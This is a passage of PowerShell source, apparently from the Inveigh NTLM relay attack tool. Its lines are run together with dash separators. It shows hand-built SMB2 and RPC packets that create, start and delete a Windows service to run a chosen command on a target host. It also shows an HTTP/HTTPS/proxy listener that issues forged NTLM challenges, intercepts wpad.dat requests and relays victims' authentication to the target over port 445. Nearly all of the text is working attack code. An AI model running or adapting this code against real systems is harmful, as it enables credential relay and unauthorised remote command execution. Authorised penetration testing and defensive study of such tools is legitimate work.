$packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $SMB2_message_ID++ - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Last' - { - $SMB2_message_ID++ - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") - } - - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") - $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") - $SMB_service_context_handle = $SMB_client_receive[112..131] - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'DeleteServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') - { - $inveigh.console_queue.Add("SMB relay command executed on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("SMB relay service $SMB_service failed to start on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("SMB relay service $SMB_service failed to start on $Target") - } - - } - - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } - - 'CloseServiceHandle' - { - - if($SMB_close_service_handle_stage -eq 1) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") - $SMB2_message_ID += 20 - $SMB_close_service_handle_stage++ - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - } - else - { - $SMB2_message_ID += 1 - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - } - - 'CloseRequest' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'TreeDisconnect' - } - - 'TreeDisconnect' - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Logoff' - } - - 'Logoff' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Exit' - } - - } - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $Target") - $SMB_client_stage = 'Exit' - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - } - - } - - } - - if(!$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') - { - $inveigh.console_queue.Add("SMB relay auto disabled due to success") - $inveigh.SMB_relay = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") - } - - } - - } - - $SMB_relay_socket.Close() - - return $SMB_client_receive - } - -} - -# HTTP/HTTPS/Proxy Server ScriptBlock -$HTTP_scriptblock = -{ - param ($Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$Target,$Usernames,$WPADAuth,$WPADAuthIgnore,$WPADResponse) - - function NTLMChallengeBase64 - { - param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($Challenge) - { - $HTTP_challenge = $Challenge - $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - if($HTTPS_listener) - { - $HTTP_type = "HTTPS" - } - elseif($proxy_listener) - { - $HTTP_type = "Proxy" - } - else - { - $HTTP_type = "HTTP" - } - - if($HTTPIP -ne '0.0.0.0') - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $HTTP_running = $true - $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint - $HTTP_client_close = $true - $relay_step = 0 - - if($proxy_listener) - { - $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) - $HTTP_listener.Server.LingerState = $HTTP_linger - } - - try - { - $HTTP_listener.Start() - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - $HTTP_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - } - - :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) - { - $TCP_request = "" - $TCP_request_bytes = New-Object System.Byte[] 4096 - $HTTP_send = $true - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") - $HTTP_header_cache_control = "" - $HTTP_header_authenticate = "" - $HTTP_header_authenticate_data = "" - $HTTP_message = "" - $HTTP_header_authorization = "" - $HTTP_header_host = "" - $HTTP_header_user_agent = "" - $HTTP_request_raw_URL = "" - $NTLM = "NTLM" - - while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) - { - Start-Sleep -m 10 - - if(!$inveigh.relay_running) - { - break HTTP_listener_loop - } - - } - - if($relay_step -gt 0) - { - $relay_reset++ - - if($relay_reset -gt 2) - { - $inveigh.console_queue.Add("SMB relay attack resetting") - $SMB_relay_socket.Close() - $relay_step = 0 - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay attack resetting") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay attack resetting") - } - - } - - } - else - { - $relay_reset = 0 - } - - if($HTTPS_listener) - { - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() - $HTTP_clear_stream = $HTTP_client.GetStream() - $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) - $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) - $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) - } - - [byte[]]$SSL_request_bytes = $null - - do - { - $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] - } while ($HTTP_clear_stream.DataAvailable) - - $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) - } - else - { - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() - $HTTP_stream = $HTTP_client.GetStream() - } - - if($HTTP_stream.DataAvailable) - { - $HTTP_data_available = $true - } - else - { - $HTTP_data_available = $false - } - - while($HTTP_stream.DataAvailable) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - } - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString - - if($TCP_request -like "*-48-6F-73-74-3A-20-*") - { - $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) - $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) - $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) - } - - if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") - { - $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) - $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) - $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) - } - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - } - - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) - $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) - } - - if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( - $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_client_close = $true - } - else - { - - if($proxy_listener) - { - $HTTP_response_status_code = 0x34,0x30,0x37 - $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - - if($HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_reset_delay = $true - $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout - $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - } - - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - $HTTP_client_close = $false - } - - if($HTTP_header_authorization.StartsWith('NTLM ')) - { - $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' - [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) - - if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') - { - - if($inveigh.SMB_relay -and $HTTP_source_IP -ne $Target -and $relay_step -eq 0) - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) - } - - $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by $HTTP_source_IP at $(Get-Date -format 's')") - $inveigh.console_queue.Add("Grabbing challenge for relay from $Target") - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.Client.ReceiveTimeout = 60000 - $SMB_relay_socket.Connect($Target,"445") - $HTTP_client_close = $false - $relay_step = 1 - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.Add("SMB relay target is not responding") - $relay_step = 0 - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay target is not responding") - } - - } - - if($relay_step -eq 1) - { - 